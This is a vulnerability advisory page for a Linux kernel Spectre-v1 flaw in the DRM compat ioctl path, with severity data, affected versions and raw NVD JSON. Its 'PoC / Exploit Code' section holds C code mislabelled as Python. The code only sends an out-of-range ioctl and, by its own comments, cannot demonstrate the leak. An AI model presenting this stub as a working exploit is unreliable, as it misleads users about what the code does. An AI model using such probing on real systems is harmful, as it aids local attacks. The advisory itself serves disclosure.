CVE-2026-31781

Description

In the Linux kernel, the following vulnerability has been resolved: drm/ioc32: stop speculation on the drm_compat_ioctl path The drm compat ioctl path takes a user controlled pointer, and then dereferences it into a table of function pointers, the signature method of spectre problems. Fix this up by calling array_index_nospec() on the index to the function pointer list.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel（具体受影响版本请参考Git提交记录及发行版公告）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31781
 * This PoC attempts to trigger the speculative execution
 * in the drm_compat_ioctl path.
 * Note: Exploitation requires specific hardware vulnerable to Spectre V1.
 */

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdlib.h>

#define DRM_DEVICE "/dev/dri/card0"

// A malicious command number intended to be out of bounds
// Actual value depends on the target kernel's ioctl table size
#define MALICIOUS_CMD 0xFFFFFFFF 

int main() {
    int fd;
    
    // Attempt to open a DRM device (requires local access)
    fd = open(DRM_DEVICE, O_RDWR);
    if (fd < 0) {
        perror("Failed to open DRM device");
        return -1;
    }

    printf("Attempting to trigger speculative execution on fd %d\n", fd);

    // In a real attack scenario, this would be executed in a loop
    // to train the branch predictor, followed by cache timing analysis.
    // Here we simply trigger the ioctl path.
    if (ioctl(fd, MALICIOUS_CMD, NULL) < 0) {
        // The ioctl is expected to fail (return error),
        // but speculative execution might have occurred.
        perror("ioctl failed (expected)");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31781
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31781
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31781/
[4] VulDB https://vuldb.com/cve/CVE-2026-31781
[5] https://git.kernel.org/stable/c/27ef84bba9b9d7b03418c60fbc6069ea0e87b13c
[6] https://git.kernel.org/stable/c/46a60ee8956ef1975f00455f614761c7ecedc09d
[7] https://git.kernel.org/stable/c/489f2ef2b908898d01df697dc4fe1476674be640
[8] https://git.kernel.org/stable/c/4a41c2b18fc05d30b718d2602cac339eae710b34
[9] https://git.kernel.org/stable/c/5bb398991f378ef74d90b14a6ea8b61ff96cc03a
[10] https://git.kernel.org/stable/c/d59c5d8539662d95887b4564f3f72ad38076a2d5
[11] https://git.kernel.org/stable/c/f0e441be08a2eab10b2d06fccfa267ee599dd6b3
[12] https://git.kernel.org/stable/c/f8995c2df519f382525ca4bc90553ad2ec611067

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31781", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:41.577", "lastModified": "2026-05-11T20:51:42.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/ioc32: stop speculation on the drm_compat_ioctl path\n\nThe drm compat ioctl path takes a user controlled pointer, and then\ndereferences it into a table of function pointers, the signature method\nof spectre problems. Fix this up by calling array_index_nospec() on the\nindex to the function pointer list."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.16.63", "versionEndExcluding": "3.17", "matchCriteriaId": "397E9355-802C-42FB-9D2D-91CFA8EA9AD2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.170", "versionEndExcluding": "4.5", "matchCriteriaId": "6D2CF938-4FA1-416D-AC49-F221731F57ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.9.148", "versionEndExcluding": "4.10", "matchCriteriaId": "33F3E0D4-C480-40A1-A07F-D8A3FCA24950"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.14.91", "versionEndExcluding": "4.15", "matchCriteriaId": "5D7F3172-4AC1-481C-9E21-1366A469147F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.19.13", "versionEndExcluding": "4.20", "matchCriteriaId": "9405B32A-678E-4CD1-94D3-4FBB7DD0430F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "99763E34-9798-4EED-94CE-E0AFF0E63F37"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:4.20:-:*:*:*:*:*:*", "matchCriteriaId": "1072305B-94A8-4D68-9419-B786885AA310"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/27ef84bba9b9d7b03418c60fbc6069ea0e87b13c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", ... 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